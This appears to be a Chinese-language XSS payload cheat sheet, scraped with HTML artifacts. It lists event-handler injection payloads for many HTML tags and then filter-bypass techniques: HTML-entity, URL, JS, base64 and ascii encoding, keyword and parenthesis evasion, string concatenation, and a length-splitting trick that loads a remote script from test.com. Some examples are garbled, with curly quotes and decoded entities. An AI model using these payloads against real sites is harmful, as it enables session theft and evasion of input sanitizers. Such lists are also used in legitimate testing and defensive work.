XSS\u8de8\u7ad9<\/p>\n\n\n\n
<a href=\"javascript:alert(1)\">test<\/a>\n<a href=\"x\" onfocus=\"alert('xss');\" autofocus=\"\">xss<\/a>\n<a href=\"x\" onclick=eval(\"alert('xss');\")>xss<\/a>\n<a href=\"x\" onmouseover=\"alert('xss');\">xss<\/a>\n<a href=\"x\" onmouseout=\"alert('xss');\">xss<\/a><\/code><\/pre>\n\n\n\n0x02. <img>\u6807\u7b7e<\/h3>\n\n\n\n<img src=x onerror=\"alert(1)\">\n<img src=x onerror=eval(\"alert(1)\")>\n<img src=1 onmouseover=\"alert('xss');\">\n<img src=1 onmouseout=\"alert('xss');\">\n<img src=1 onclick=\"alert('xss');\"><\/code><\/pre>\n\n\n\n0x03. <iframe>\u6807\u7b7e<\/h3>\n\n\n\n<iframe src=\"javascript:alert(1)\">test<\/iframe>\n<iframe onload=\"alert(document.cookie)\"><\/iframe>\n<iframe onload=\"alert('xss');\"><\/iframe>\n<iframe onload=\"base64,YWxlcnQoJ3hzcycpOw==\"><\/iframe>\n<iframe onmouseover=\"alert('xss');\"><\/iframe>\n<iframe src=\"data:text\/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=\"><\/code><\/pre>\n\n\n\n0x04. <audio> \u6807\u7b7e<\/h3>\n\n\n\n<audio src=1 onerror=alert(1)>\n<audio><source src=\"x\" onerror=\"alert('xss');\"><\/audio>\n<audio controls onfocus=eval(\"alert('xss');\") autofocus=\"\"><\/audio>\n<audio controls onmouseover=\"alert('xss');\"><source src=\"x\"><\/audio><\/code><\/pre>\n\n\n\n0x05. <video>\u6807\u7b7e<\/h3>\n\n\n\n<video src=x onerror=alert(1)>\n<video><source onerror=\"alert('xss');\"><\/video>\n<video controls onmouseover=\"alert('xss');\"><\/video>\n<video controls onfocus=\"alert('xss');\" autofocus=\"\"><\/video>\n<video controls onclick=\"alert('xss');\"><\/video><\/code><\/pre>\n\n\n\n0x06. <svg> \u6807\u7b7e<\/h3>\n\n\n\n<svg onload=javascript:alert(1)>\n<svg onload=\"alert('xss');\"><\/svg><\/code><\/pre>\n\n\n\n0x07. <button> \u6807\u7b7e<\/h3>\n\n\n\n<button onclick=alert(1)>\n<button onfocus=\"alert('xss');\" autofocus=\"\">xss<\/button>\n<button onclick=\"alert('xss');\">xss<\/button>\n<button onmouseover=\"alert('xss');\">xss<\/button>\n<button onmouseout=\"alert('xss');\">xss<\/button>\n<button onmouseup=\"alert('xss');\">xss<\/button>\n<button onmousedown=\"alert('xss');\"><\/button><\/code><\/pre>\n\n\n\n0x08. <div>\u6807\u7b7e<\/h3>\n\n\n\n
\u8fd9\u4e2a\u9700\u8981\u501f\u52a9url\u7f16\u7801\u6765\u5b9e\u73b0\u7ed5\u8fc7<\/p>\n\n\n\n
\u539f\u4ee3\u7801\uff1a\n<div onmouseover='alert(1)'>DIV<\/div>\n\u7ecf\u8fc7url\u7f16\u7801\uff1a\n<div onmouseover%3d'alert%26lpar%3b1%26rpar%3b'>DIV<%2fdiv><\/code><\/pre>\n\n\n\n0x09. <object>\u6807\u7b7e<\/h3>\n\n\n\n
\u8fd9\u4e2a\u9700\u8981\u501f\u52a9 data \u4f2a\u534f\u8bae\u548c base64 \u7f16\u7801\u6765\u5b9e\u73b0\u7ed5\u8fc7<\/p>\n\n\n\n
<object data=”data:text\/html;base64,PHNjcmlwdD5hbGVydCgveHNzLyk8L3NjcmlwdD4=”><\/object><\/p>\n\n\n\n
0x10. <script> \u6807\u7b7e<\/h3>\n\n\n\n<script>alert('xss')<\/script>\n<script>alert(\/xss\/)<\/script>\n<script>alert(123)<\/script><\/code><\/pre>\n\n\n\n0x11. <p> \u6807\u7b7e<\/h3>\n\n\n\n<p onclick=\"alert('xss');\">xss<\/p>\n<p onmouseover=\"alert('xss');\">xss<\/p>\n<p onmouseout=\"alert('xss');\">xss<\/p>\n<p onmouseup=\"alert('xss');\">xss<\/p><\/code><\/pre>\n\n\n\n0x12. <input> \u6807\u7b7e<\/h3>\n\n\n\n<input onclick=\"alert('xss');\">\n<input onfocus=\"alert('xss');\">\n<input onfocus=\"alert('xss');\" autofocus=\"\">\n<input onmouseover=\"alert('xss');\">\n<input type=\"text\" onkeydown=\"alert('xss');\"><\/input>\n<input type=\"text\" onkeypress=\"alert('xss');\"><\/input>\n<input type=\"text\" onkeydown=\"alert('xss');\"><\/input><\/code><\/pre>\n\n\n\n0x13. <details>\u6807\u7b7e<\/h3>\n\n\n\n<details ontoggle=\"alert('xss');\"><\/details>\n<details ontoggle=\"alert('xss');\" open=\"\"><\/details><\/code><\/pre>\n\n\n\n0x14. <select> \u6807\u7b7e<\/h3>\n\n\n\n<select onfocus=\"alert('xss');\" autofocus><\/select>\n<select onmouseover=\"alert('xss');\"><\/select>\n<select onclick=eval(\"alert('xss');\")><\/select><\/code><\/pre>\n\n\n\n0x15. <form> \u6807\u7b7e<\/h3>\n\n\n\n<form method=\"x\" action=\"x\" onmouseover=\"alert('xss');\"><input type=submit><\/form>
<form method=\"x\" action=\"x\" onmouseout=\"alert('xss');\"><input type=submit><\/form>
<form method=\"x\" action=\"x\" onmouseup=\"alert('xss');\"><input type=submit><\/form><\/code><\/pre>\n\n\n\n0x16. <body> \u6807\u7b7e<\/h3>\n\n\n\n
<body onload=”alert(‘xss’);”><\/body><\/p>\n\n\n\n
<\/p>\n\n\n\n
\u4e8c\u3001xss \u5e38\u89c1\u7ed5\u8fc7<\/h2>\n\n\n\n\u7f16\u7801\u7ed5\u8fc7<\/h2>\n\n\n\n
\u6d4f\u89c8\u5668\u5bf9 XSS \u4ee3\u7801\u7684\u89e3\u6790\u987a\u5e8f\u4e3a\uff1aHTML\u89e3\u7801 \u2014\u2014 URL\u89e3\u7801 \u2014\u2014 JS\u89e3\u7801(\u53ea\u652f\u6301UNICODE)<\/strong>\u3002<\/p>\n\n\n\n0x01. html \u5b9e\u4f53\u7f16\u7801<\/h3>\n\n\n\n
\u5f53\u53ef\u63a7\u70b9\u4e3a\u5355\u4e2a\u6807\u7b7e\u5c5e\u6027\u65f6\uff0c\u53ef\u4ee5\u4f7f\u7528 html \u5b9e\u4f53\u7f16\u7801\u3002<\/strong><\/p>\n\n\n\n<a href=\"\u53ef\u63a7\u70b9\">test<\/a>\n\n<iframe src=\"\u53ef\u63a7\u70b9\">test<iframe>\n<img src=x onerror=\"\u53ef\u63a7\u70b9\"><\/code><\/pre>\n\n\n\nPayload<\/strong><\/p>\n\n\n\n<a href=”javascript:alert(1)”>test<\/a><\/p>\n\n\n\n
\u5341\u8fdb\u5236<\/strong><\/p>\n\n\n\n<a href=”javascript:alert(1)”>test<\/a><\/p>\n\n\n\n
\u5341\u516d\u8fdb\u5236<\/strong><\/p>\n\n\n\n<a href=”javascript:alert(1)”>test<\/a><\/p>\n\n\n\n
\u53ef\u4ee5\u4e0d\u5e26\u5206\u53f7<\/strong><\/p>\n\n\n\n<a href=”javascript:alert(1)″>test<\/a><\/p>\n\n\n\n
\u53ef\u4ee5\u586b\u51450<\/strong><\/p>\n\n\n\n<a href=”javascript:alert(1)″>test<\/a><\/p>\n\n\n\n
0x02. url \u7f16\u7801<\/h3>\n\n\n\n
\u5f53\u6ce8\u5165\u70b9\u5b58\u5728 href \u6216\u8005 src \u5c5e\u6027\u65f6\uff0c\u53ef\u4ee5\u4f7f\u7528 url \u7f16\u7801\u3002<\/strong><\/p>\n\n\n\n<a href=\"\u53ef\u63a7\u70b9\">test<\/a>\n\n<iframe src=\"\u53ef\u63a7\u70b9\">test<\/iframe><\/code><\/pre>\n\n\n\nPayload<\/strong><\/p>\n\n\n\n<a href=\"javascript:alert(1)\">test<\/a>\n\n<iframe src=\"javascript:alert(1)\">test<\/iframe><\/code><\/pre>\n\n\n\n\u6ce8\uff1aurl \u89e3\u6790\u8fc7\u7a0b\u4e2d\uff0c\u4e0d\u80fd\u5bf9\u534f\u8bae\u7c7b\u578b\u8fdb\u884c\u4efb\u4f55\u7684\u7f16\u7801\u64cd\u4f5c\uff0c\u6240\u4ee5 javascript: \u534f\u8bae\u5934\u9700\u8981\u4fdd\u7559\u3002<\/strong><\/p>\n\n\n\n<a href=\"javascript:%61%6c%65%72%74%28%31%29\">test<\/a>\n\n<iframe src=\"javascript:%61%6c%65%72%74%28%31%29\">test<\/iframe><\/code><\/pre>\n\n\n\n\u53ef\u4ee5\u4e8c\u6b21\u7f16\u7801<\/strong><\/p>\n\n\n\n<a href=\"javascript:%2561%256c%2565%2572%2574%2528%2531%2529\">test<\/a>\n\n<iframe src=\"javascript:%2561%256c%2565%2572%2574%2528%2531%2529\">test<\/iframe><\/code><\/pre>\n\n\n\n0x03. js \u7f16\u7801<\/h3>\n\n\n\n
\u89e3\u6790\u7684\u65f6\u5019\u5b57\u7b26\u6216\u8005\u5b57\u7b26\u4e32\u4ec5\u4f1a\u88ab\u89e3\u7801\u4e3a\u5b57\u7b26\u4e32\u6587\u672c\u6216\u8005\u6807\u8bc6\u7b26\u540d\u79f0\uff0c\u4f8b\u5982 js \u89e3\u6790\u5668\u5de5\u4f5c\u7684\u65f6\u5019\u5c06<\/strong>\\u0061\\u006c\\u0065\\u0072\\u0074<\/strong><\/code>\u8fdb\u884c\u89e3\u7801\u540e\u4e3a<\/strong>alert<\/strong><\/code>\uff0c\u800c<\/strong>alert<\/strong><\/code>\u662f\u4e00\u4e2a\u6709\u6548\u7684\u6807\u8bc6\u7b26\u540d\u79f0\uff0c\u5b83\u662f\u80fd\u88ab\u6b63\u5e38\u89e3\u6790\u7684\u3002\u4f46\u662f\u50cf\u5706\u62ec\u53f7\u3001\u53cc\u5f15\u53f7\u3001\u5355\u5f15\u53f7\u7b49\u7b49\u8fd9\u4e9b\u5b57\u7b26\u5c31\u53ea\u80fd\u88ab\u5f53\u4f5c\u666e\u901a\u7684\u6587\u672c\uff0c\u4ece\u800c\u5bfc\u81f4\u65e0\u6cd5\u6267\u884c\u3002<\/strong><\/p>\n\n\n\n\u7531\u4e8e js \u662f\u6700\u540e\u8fdb\u884c\u89e3\u6790\u7684\uff0c\u6240\u4ee5\u5982\u679c\u6df7\u5408\u7f16\u7801\uff0c\u9700\u8981\u5148\u4f7f\u7528 js \u7f16\u7801\u518d\u8fdb\u884c url \u7f16\u7801\u6216\u8005 html \u5b9e\u4f53\u7f16\u7801\u3002<\/strong><\/p>\n\n\n\njs \u7f16\u7801\u7b56\u7565\uff1a<\/strong><\/p>\n\n\n\n\n- “\\” \u52a0\u4e0a\u4e09\u4e2a\u516b\u8fdb\u5236\u6570\u5b57\uff0c\u5982\u679c\u4e2a\u6570\u4e0d\u591f\uff0c\u524d\u9762\u88650\uff0c\u4f8b\u5982 “<” \u7f16\u7801\u4e3a “\\074”<\/li>\n\n\n\n
- “\\x” \u52a0\u4e0a\u4e24\u4e2a\u5341\u516d\u8fdb\u5236\u6570\u5b57\uff0c\u5982\u679c\u4e2a\u6570\u4e0d\u591f\uff0c\u524d\u9762\u88650\uff0c\u4f8b\u5982 “<” \u7f16\u7801\u4e3a “\\x3c”<\/li>\n\n\n\n
- “\\u” \u52a0\u4e0a\u56db\u4e2a\u5341\u516d\u8fdb\u5236\u6570\u5b57\uff0c\u5982\u679c\u4e2a\u6570\u4e0d\u591f\uff0c\u524d\u9762\u88650\uff0c\u4f8b\u5982 “<” \u7f16\u7801\u4e3a “\\u003c”<\/li>\n\n\n\n
- \u5bf9\u4e8e\u4e00\u4e9b\u63a7\u5236\u5b57\u7b26\uff0c\u4f7f\u7528\u7279\u6b8a\u7684 C \u7c7b\u578b\u7684\u8f6c\u4e49\u98ce\u683c\uff08\u4f8b\u5982 \\n \u548c \\r\uff09<\/li>\n<\/ol>\n\n\n\n
<img src=x onerror=\"\u53ef\u63a7\u70b9\">\n\n<input onfocus=location=\"\u53ef\u63a7\u70b9\" autofocus><\/code><\/pre>\n\n\n\nPayload<\/strong><\/p>\n\n\n\n<img src=x onerror=\"alert(1)\">\n\n<input onfocus=location=\"alert(1)\" autofocus><\/code><\/pre>\n\n\n\nUnicode \u7f16\u7801<\/strong><\/p>\n\n\n\n<img src=x onerror=\"\\u0061\\u006c\\u0065\\u0072\\u0074(1)\">\n\n<input onfocus=location=\"javascript:\\u0061\\u006C\\u0065\\u0072\\u0074\\u0028\\u0031\\u0029\" autofocus><\/code><\/pre>\n\n\n\n\u6ce8\uff1a<\/strong><\/p>\n\n\n\nUnicode \u7f16\u7801\u65f6\uff0c\u53ea\u80fd\u5bf9\u6709\u6548\u7684\u6807\u8bc6\u7b26\u8fdb\u884c\u7f16\u7801\uff0c\u5426\u5219\u975e\u6807\u8bc6\u7b26\u89e3\u7801\u540e\u4e0d\u80fd\u89e3\u6790\u6267\u884c\u3002\u4f8b\u5982 javascript:alert(1) \uff0c\u8fdb\u884c Unicode \u7f16\u7801\u65f6\uff0c\u53ea\u80fd\u5bf9 alert \u548c “1” \u8fdb\u884c\u7f16\u7801\uff0c\u6846\u53f7\u7f16\u7801\u540e\u4f1a\u88ab\u5f53\u6210\u6587\u672c\u5b57\u7b26\uff0c\u4e0d\u80fd\u6267\u884c\u3002<\/strong>ascii \u516b\u8fdb\u5236\u548c\u5341\u516d\u8fdb\u5236\u7f16\u7801\u4f7f\u7528\u65f6\u9700\u8981 eval\u3001setTimeout\u7b49\u51fd\u6570\u4f20\u9012\u53d8\u91cf\uff0c\u5e76\u4e14\u53ef\u4ee5\u5bf9\u6574\u4e2a\u4f20\u9012\u53c2\u6570\u8fdb\u884c\u7f16\u7801\u3002\u4f8b\u5982 eval(“alert(1)”)\uff0c\u53ef\u4ee5\u5bf9 “alert(1)” \u6574\u4e2a\u8fdb\u884c\u516b\u8fdb\u5236\u3001\u5341\u516d\u8fdb\u5236\u6216\u8005 Unicode \u7f16\u7801(\u53cc\u5f15\u53f7\u4e0d\u53c2\u4e0e)\u3002<\/strong><\/p>\n\n\n\n\u516b\u8fdb\u5236\u548c\u5341\u516d\u8fdb\u5236<\/strong><\/p>\n\n\n\nsetTimeout() \u662f\u5c5e\u4e8e window \u7684\u65b9\u6cd5\uff0c\u8be5\u65b9\u6cd5\u7528\u4e8e\u5728\u6307\u5b9a\u7684\u6beb\u79d2\u6570\u540e\u8c03\u7528\u51fd\u6570\u6216\u8ba1\u7b97\u8868\u8fbe\u5f0f\u3002<\/p>\n\n\n\n
\u8bed\u6cd5\uff1asetTimeout(\u8981\u6267\u884c\u7684\u4ee3\u7801, \u7b49\u5f85\u7684\u6beb\u79d2\u6570)<\/code><\/p>\n\n\n\nsetTimeout(JavaScript \u51fd\u6570, \u7b49\u5f85\u7684\u6beb\u79d2\u6570)<\/code><\/p>\n\n\n\n1.<svg\/onload=setTimeout('\\x61\\x6C\\x65\\x72\\x74\\x28\\x31\\x29')>\n2.<svg\/onload=setTimeout('\\141\\154\\145\\162\\164\\050\\061\\051')>\n3.<svg\/onload=setTimeout('\\u0061\\u006C\\u0065\\u0072\\u0074\\u0028\\u0031\\u0029')>\n4.<script>eval(\"\\x61\\x6C\\x65\\x72\\x74\\x28\\x31\\x29\")<\/script>\n5.<script>eval(\"\\141\\154\\145\\162\\164\\050\\061\\051\")<\/script>\n6.<script>eval(\"\\u0061\\u006C\\u0065\\u0072\\u0074\\u0028\\u0031\\u0029\")<\/script><\/code><\/pre>\n\n\n\n0x04. \u6df7\u5408\u7f16\u7801<\/h3>\n\n\n\n
<a href=”\u53ef\u63a7\u70b9”>test<\/a><\/p>\n\n\n\n
Payload<\/strong><\/p>\n\n\n\n<a href=”javascript:alert(1)”>test<\/a><\/p>\n\n\n\n
html \u7f16\u7801<\/strong><\/p>\n\n\n\n<a href=”javascript:alert(1)”>test<\/a><\/p>\n\n\n\n
Unicode \u7f16\u7801<\/strong><\/p>\n\n\n\n<a href=”javascript:\\u0061\\u006c\\u0065\\u0072\\u0074(1)”>test<\/a><\/p>\n\n\n\n
\u6ce8\uff1aUnicode \u7f16\u7801\u4e0d\u80fd\u5bf9\u62ec\u53f7\u4f7f\u7528<\/strong><\/p>\n\n\n\nurl \u7f16\u7801<\/strong><\/p>\n\n\n\n<a href=”javascript:%61%6c%65%72%74%28%31%29″>test<\/a><\/p>\n\n\n\n
\u7531\u4e8e\u6d4f\u89c8\u5668\u5bf9 xss \u4ee3\u7801\u7684\u89e3\u6790\u8fc7\u7a0b\u662f\uff1ahtml\u89e3\u6790 \u2014\u2014 url\u89e3\u6790 \u2014\u2014 js\u89e3\u6790\uff0c\u6240\u4ee5\u53ef\u4ee5\u7f16\u7801\u65b9\u5f0f\u8fdb\u884c\u7ec4\u5408\u7ed5\u8fc7\u3002<\/strong><\/p>\n\n\n\n1. \u539f\u4ee3\u7801\n<a href=\"javascript:alert(1)\">test<\/a>\n2. \u5bf9alert\u8fdb\u884cJS\u7f16\u7801\uff08unicode\u7f16\u7801\uff09\n<a href=\"javascript:\\u0061\\u006c\\u0065\\u0072\\u0074(1)\">test<\/a>\n3. \u5bf9href\u6807\u7b7e\u4e2d\u7684\\u0061\\u006c\\u0065\\u0072\\u0074\u8fdb\u884cURL\u7f16\u7801\n<a href=\"javascript:%5c%75%30%30%36%31%5c%75%30%30%36%63%5c%75%30%30%36%35%5c%75%30%30%37%32%5c%75%30%30%37%34(1)\">test<\/a>\n4. \u5bf9href\u6807\u7b7e\u4e2d\u7684javascript:%5c%75%30%30%36%31%5c%75%30%30%36%63%5c%75%30%30%36%35%5c%75%30%30%37%32%5c%75%30%30%37%34(1)\u8fdb\u884cHTML\u7f16\u7801\uff1a\n<a href=\"javascript:%5c%75%30%30%36%31%5c%75%30%30%36%63%5c%75%30%30%36%35%5c%75%30%30%37%32%5c%75%30%30%37%34(1)\">test<\/a><\/code><\/pre>\n\n\n\n\u6ce8\uff1ahref\u3001src\u7b49\u52a0\u8f7durl\u7684\u5c5e\u6027\u53ef\u4ee5\u4f7f\u7528\u4e09\u79cd\u6df7\u5408\u7f16\u7801\uff0con\u4e8b\u4ef6\u53ef\u4ee5\u4f7f\u7528html\u5b9e\u4f53\u7f16\u7801\u548cjs\u7f16\u7801\u6df7\u5408\uff0c\u4f46url\u7f16\u7801\u5728on\u4e8b\u4ef6\u4e2d\u4e0d\u4f1a\u89e3\u6790\u3002<\/strong><\/p>\n\n\n\n0x05. base64 \u7f16\u7801<\/h3>\n\n\n\n
base64 \u7f16\u7801\u901a\u5e38\u9700\u8981\u4f7f\u7528\u5230 data \u4f2a\u534f\u8bae\u3002<\/strong><\/p>\n\n\n\ndata \u534f\u8bae\u4f7f\u7528\u65b9\u6cd5\uff1a<\/strong>data:\u8d44\u6e90\u7c7b\u578b;\u7f16\u7801,\u5185\u5bb9<\/strong><\/code><\/p>\n\n\n\nbase64\u7f16\u7801\u5185\u5bb9\u4e3a<\/p>\n\n\n\n
<script>alert(\/xss\/)<\/script>\nPHNjcmlwdD5hbGVydCgveHNzLyk8L3NjcmlwdD4=<\/code><\/pre>\n\n\n\n\u901a\u5e38\u4e0e base64 \u7f16\u7801\u914d\u5408 data \u534f\u8bae\u7684\u6807\u7b7e\u6709 <object>\u3001<a>\u3001<iframe><\/strong><\/p>\n\n\n\n1.<object> \u6807\u7b7e\n<object data=\"data:text\/html;base64,PHNjcmlwdD5hbGVydCgveHNzLyk8L3NjcmlwdD4=\"><\/object>\n2.<a> \u6807\u7b7e\n<a href=\"data:text\/html;base64, PHNjcmlwdD5hbGVydCgveHNzLyk8L3NjcmlwdD4=\">test<\/a> \uff08\u65b0\u7248\u6d4f\u89c8\u5668\u4e0d\u652f\u6301\uff09\n3.<iframe> \u6807\u7b7e\n<iframe src=\"data:text\/html;base64, PHNjcmlwdD5hbGVydCgveHNzLyk8L3NjcmlwdD4=\"><\/iframe>\n4.<embed> \u6807\u7b7e\n<embed src=\"data:text\/html;base64, PHNjcmlwdD5hbGVydCgveHNzLyk8L3NjcmlwdD4=\"><\/embed><\/code><\/pre>\n\n\n\natob \u51fd\u6570<\/strong><\/p>\n\n\n\natob() \u65b9\u6cd5\u7528\u4e8e\u89e3\u7801\u4f7f\u7528 base-64 \u7f16\u7801\u7684\u5b57\u7b26\u4e32\u3002<\/p>\n\n\n\n
\u8bed\u6cd5\uff1awindow.atob(encodedStr)<\/code>(encodedStr: \u5fc5\u9700\uff0c\u662f\u4e00\u4e2a\u901a\u8fc7 btoa() \u65b9\u6cd5\u7f16\u7801\u7684\u5b57\u7b26\u4e32)<\/p>\n\n\n\n1.<a href=javascript:eval(atob('YWxlcnQoMSk='))>test<\/a>\n2.<a href=javascript:eval(window.atob('YWxlcnQoMSk='))>test<\/a>\n3.<a href=javascript:eval(window['atob']('YWxlcnQoMSk='))>test<\/a>\n4.<img src=x onmouseover=\"eval(window.atob('YWxlcnQoMSk='))\">\n5.<img src=x onerror=\"eval(atob('YWxlcnQoMSk='))\">\n6.<iframe src=\"javascript:eval(window['atob']('YWxlcnQoMSk='))\"><\/iframe><\/code><\/pre>\n\n\n\n0x06. ascii \u7f16\u7801<\/h3>\n\n\n\n
ascii \u7f16\u7801\u4e00\u822c\u914d\u5408String.fromCharCode<\/code>\u4f7f\u7528\u3002<\/p>\n\n\n\nalert(1)\n\u5341\u8fdb\u5236\uff1a97, 108, 101, 114, 116, 40, 49, 41\n\u5341\u516d\u8fdb\u5236\uff1a0x61, 0x6C, 0x65, 0x72, 0x74, 0x28, 0x31, 0x29<\/code><\/pre>\n\n\n\n\u5341\u8fdb\u5236<\/strong><\/p>\n\n\n\n<a href=’javascript:eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 49, 41))’>test<\/a><\/p>\n\n\n\n
\u5341\u516d\u8fdb\u5236<\/strong><\/p>\n\n\n\n<a href=’javascript:eval(String.fromCharCode(0x61, 0x6C, 0x65, 0x72, 0x74, 0x28, 0x31, 0x29))’>test<\/a><\/p>\n\n\n\n
<\/p>\n\n\n\n
\u7a7a\u683c\u8fc7\u6ee4\u7ed5\u8fc7<\/h2>\n\n\n\n
<html><imgAA<\/strong>srcAA<\/strong>onerrorBB<\/strong>=BB<\/strong>alertCC<\/strong>(1)DD<\/strong><\/html><\/p>\n\n\n\nA\u4f4d\u7f6e\u53ef\u586b\u5145 \/\uff0c\/123\/\uff0c%09\uff0c%0A\uff0c%0C\uff0c%0D\uff0c%20 B\u4f4d\u7f6e\u53ef\u586b\u5145 %09\uff0c%0A\uff0c%0C\uff0c%0D\uff0c%20 C\u4f4d\u7f6e\u53ef\u586b\u5145 %0B\uff0c\/**\/\uff0c\u5982\u679c\u52a0\u4e86\u53cc\u5f15\u53f7\uff0c\u5219\u53ef\u4ee5\u586b\u5145 %09\uff0c%0A\uff0c%0C\uff0c%0D\uff0c%20 D\u4f4d\u7f6e\u53ef\u586b\u5145 %09\uff0c%0A\uff0c%0C\uff0c%0D\uff0c%20\uff0c\/\/\uff0c><\/p>\n\n\n\n
<\/p>\n\n\n\n
\u5706\u62ec\u53f7\u8fc7\u6ee4\u7ed5\u8fc7<\/h2>\n\n\n\n0x01. \u53cd\u5f15\u53f7\u66ff\u6362<\/h3>\n\n\n\n
<script>alert`1`<\/script><\/p>\n\n\n\n
0x02. throw \u7ed5\u8fc7<\/h3>\n\n\n\n<video src onerror=\"javascript:window.onerror=alert;throw 1\">\n<svg\/onload=\"window.onerror=eval;throw'=alert\\x281\\x29';\"><\/code><\/pre>\n\n\n\n
<\/p>\n\n\n\n
\u5355\u5f15\u53f7\u8fc7\u6ee4\u7ed5\u8fc7<\/h2>\n\n\n\n0x01. \u659c\u6760\u66ff\u6362<\/h3>\n\n\n\n
<script>alert(\/xss\/)<\/script><\/p>\n\n\n\n
0x02. \u53cd\u5f15\u53f7\u66ff\u6362<\/h3>\n\n\n\n
<script>alert(`xss`)<\/script><\/p>\n\n\n\n
<\/p>\n\n\n\n
alert \u8fc7\u6ee4\u7ed5\u8fc7<\/h2>\n\n\n\n0x01. prompt \u66ff\u6362<\/h3>\n\n\n\n
<script>prompt(\/xss\/)<\/script><\/p>\n\n\n\n
0x02. confirm \u66ff\u6362<\/h3>\n\n\n\n
<script>confirm(\/xss\/)<\/script><\/p>\n\n\n\n
0x03. console.log \u66ff\u6362<\/h3>\n\n\n\n
<script>console.log(3)<\/script><\/p>\n\n\n\n
0x04. document.write \u66ff\u6362<\/h3>\n\n\n\n
<script>document.write(1)<\/script><\/p>\n\n\n\n
0x05. base64 \u7ed5\u8fc7<\/h3>\n\n\n\n<img src=x onerror=\"Function`a${atob`YWxlcnQoMSk=`}```\">\n<img src=x onerror=\"``.constructor.constructor`a${atob`YWxlcnQoMSk=`}```\"><\/code><\/pre>\n\n\n\n
<\/p>\n\n\n\n
\u5173\u952e\u8bcd\u7f6e\u7a7a\u7ed5\u8fc7<\/h2>\n\n\n\n0x01. \u5927\u5c0f\u5199\u7ed5\u8fc7<\/h3>\n\n\n\n
<script>alert(\/xss\/)<\/script><\/p>\n\n\n\n
\u53ef\u4ee5\u8f6c\u6362\u4e3a<\/p>\n\n\n\n
<ScRiPt>AlErT(\/xss\/)<\/sCrIpT><\/p>\n\n\n\n
0x02. \u5d4c\u5957\u7ed5\u8fc7<\/h3>\n\n\n\n
\u5d4c\u5957<script>\u548c<\/script>\u7a81\u7834<\/p>\n\n\n\n
<script>alert(\/xss\/)<\/script><\/p>\n\n\n\n
\u53ef\u4ee5\u8f6c\u6362\u4e3a<\/p>\n\n\n\n
<sc<script>ript>alert(\/xss\/)<\/sc<\/script>ript><\/p>\n\n\n\n
<\/p>\n\n\n\n
\u51fd\u6570\u62fc\u63a5<\/h2>\n\n\n\n0x01. eval<\/h3>\n\n\n\n
<img src=”x” onerror=”eval(‘al’+’ert(1)’)”><\/p>\n\n\n\n
0x02. top<\/h3>\n\n\n\n
<img src=”x” onerror=”top[‘al’+’ert’](1)”><\/p>\n\n\n\n
0x03. window<\/h3>\n\n\n\n
<img src=”x” onerror=”window[‘al’+’ert’](1)”><\/p>\n\n\n\n
0x04. self<\/h3>\n\n\n\n
<img src=”x” onerror=”self[`al`+`ert`](1)”><\/p>\n\n\n\n
0x05. parent<\/h3>\n\n\n\n
<img src=”x” onerror=”parent[`al`+`ert`](1)”><\/p>\n\n\n\n
0x06. frames<\/h3>\n\n\n\n
<img src=”x” onerror=”frames[`al`+`ert`](1)”><\/p>\n\n\n\n
0x07. \u5e38\u7528\u51fd\u6570<\/h3>\n\n\n\n<img src=\"x\" onerror=\"eval(alert(1))\">\n<img src=\"x\" onerror=\"open(alert(1))\">\n<img src=\"x\" onerror=\"document.write(alert(1))\">\n<img src=\"x\" onerror=\"setTimeout(alert(1))\">\n<img src=\"x\" onerror=\"setInterval(alert(1))\">\n<img src=\"x\" onerror=\"Set.constructor(alert(1))\">\n<img src=\"x\" onerror=\"Map.constructor(alert(1))\">\n<img src=\"x\" onerror=\"Array.constructor(alert(1))\">\n<img src=\"x\" onerror=\"WeakSet.constructor(alert(1))\">\n<img src=\"x\" onerror=\"constructor.constructor(alert(1))\">\n<img src=\"x\" onerror=\"[1].map(alert(1))\">\n<img src=\"x\" onerror=\"[1].find(alert(1))\">\n<img src=\"x\" onerror=\"[1].every(alert(1))\">\n<img src=\"x\" onerror=\"[1].filter(alert(1))\">\n<img src=\"x\" onerror=\"[1].forEach(alert(1))\">\n<img src=\"x\" onerror=\"[1].findIndex(alert(1))\"><\/code><\/pre>\n\n\n\n
<\/p>\n\n\n\n
\u8d4b\u503c\u62fc\u63a5<\/h2>\n\n\n\n<img src onerror=_=alert,_(1)>\n<img src x=al y=ert onerror=top[x+y](1)>\n<img src onerror=top[a='al',b='ev',b+a]('alert(1)')>\n<img src onerror=['ale'+'rt'].map(top['ev'+'al'])[0]['valu'+'eOf']()(1)><\/code><\/pre>\n\n\n\n
<\/p>\n\n\n\n
\u706b\u72d0IE\u4e13\u5c5e<\/h2>\n\n\n\n
<marquee onstart=alert(1)><\/p>\n\n\n\n
<\/p>\n\n\n\n
\u62c6\u5206\u6cd5<\/h2>\n\n\n\n
\u5f53 Web \u5e94\u7528\u7a0b\u5e8f\u5bf9\u76ee\u6807\u7528\u6237\u7684\u8f93\u5165\u957f\u5ea6\u8fdb\u884c\u4e86\u9650\u5236\u65f6\uff0c\u8fd9\u65f6\u65e0\u6cd5\u6ce8\u5165\u8f83\u957f\u7684xss\u653b\u51fb\u5411\u91cf\uff0c\u4f46\u662f\u7279\u5b9a\u60c5\u51b5\u4e0b\uff0c\u8fd9\u79cd\u9650\u5236\u53ef\u4ee5\u901a\u8fc7\u62c6\u5206\u6cd5\u6ce8\u5165\u7684\u65b9\u5f0f\u8fdb\u884c\u7ed5\u8fc7\u3002<\/p>\n\n\n\n
<script>a='document.write(\"'<\/script>\n<script>a=a+'<script src=ht'<\/script>\n<script>a=a+'tp:\/\/test.com\/xs'<\/script>\n<script>a=a+'s.js><\/script>\")'<\/script>\n<script>eval(a)<\/script><\/code><\/pre>\n\n\n\n\u901a\u8fc7\u4e0a\u9762\u7684\u62c6\u5206\u6cd5\u53ef\u4ee5\u62fc\u51d1\u51fa\u4e0b\u9762\u5b8c\u6574\u7684\u653b\u51fb\u5411\u91cf\uff1a<\/p>\n\n\n\n
document.write(“<script src = http:\/\/test.com\/xss.js><\/script>”)<\/p>\n\n\n\n
<\/p>\n\n\n\n
